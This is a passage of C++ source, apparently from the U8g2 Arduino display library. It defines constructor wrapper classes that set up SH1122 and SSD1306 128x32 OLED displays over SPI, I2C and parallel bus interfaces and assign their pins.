u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1122_256X64_F_HW_I2C : public U8G2 { public: U8G2_SH1122_256X64_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_i2c_256x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1122_256X64_F_2ND_HW_I2C : public U8G2 { public: U8G2_SH1122_256X64_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_i2c_256x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_128X32_UNIVISION_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_univision_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_128X32_UNIVISION_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_univision_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X32_UNIVISION_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_univision_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X32_UNIVISION_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_univision_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_128X32_UNIVISION_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_univision_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_128X32_UNIVISION_1_6800 : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_univision_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X32_UNIVISION_1_8080 : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_univision_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X32_WINSTAR_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_winstar_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_128X32_WINSTAR_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_winstar_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X32_WINSTAR_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_winstar_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X32_WINSTAR_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_winstar_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_128X32_WINSTAR_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_winstar_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_128X32_WINSTAR_1_6800 : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_winstar_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X32_WINSTAR_1_8080 : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_winstar_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X32_UNIVISION_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_univision_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_128X32_UNIVISION_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_univision_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X32_UNIVISION_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_univision_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X32_UNIVISION_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_univision_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_128X32_UNIVISION_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_univision_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_128X32_UNIVISION_2_6800 : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_univision_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X32_UNIVISION_2_8080 : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_univision_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X32_WINSTAR_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_winstar_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_128X32_WINSTAR_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_winstar_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X32_WINSTAR_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_winstar_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X32_WINSTAR_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_winstar_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_128X32_WINSTAR_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_winstar_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_128X32_WINSTAR_2_6800 : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_winstar_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X32_WINSTAR_2_8080 : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_winstar_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X32_UNIVISION_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_univision_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_128X32_UNIVISION_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_univision_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X32_UNIVISION_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_univision_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X32_UNIVISION_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_univision_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_128X32_UNIVISION_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_univision_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_128X32_UNIVISION_F_6800 : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_univision_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X32_UNIVISION_F_8080 : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_univision_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X32_WINSTAR_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_winstar_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_128X32_WINSTAR_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_winstar_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X32_WINSTAR_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_winstar_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X32_WINSTAR_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_winstar_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_128X32_WINSTAR_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_winstar_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_128X32_WINSTAR_F_6800 : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_winstar_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X32_WINSTAR_F_8080 : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x32_winstar_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X32_UNIVISION_1_SW_I2C : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x32_univision_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_128X32_UNIVISION_1_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x32_univision_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_128X32_UNIVISION_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x32_univision_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_128X32_WINSTAR_1_SW_I2C : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x32_winstar_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_128X32_WINSTAR_1_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x32_winstar_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_128X32_WINSTAR_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x32_winstar_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_128X32_UNIVISION_2_SW_I2C : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x32_univision_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_128X32_UNIVISION_2_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x32_univision_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_128X32_UNIVISION_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X32_UNIVISION_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x32_univision_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_128X32_WINSTAR_2_SW_I2C : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x32_winstar_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_128X32_WINSTAR_2_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x32_winstar_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_128X32_WINSTAR_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X32_WINSTAR_2_2ND_HW_I2C(const u8g2_cb_t *rotation, 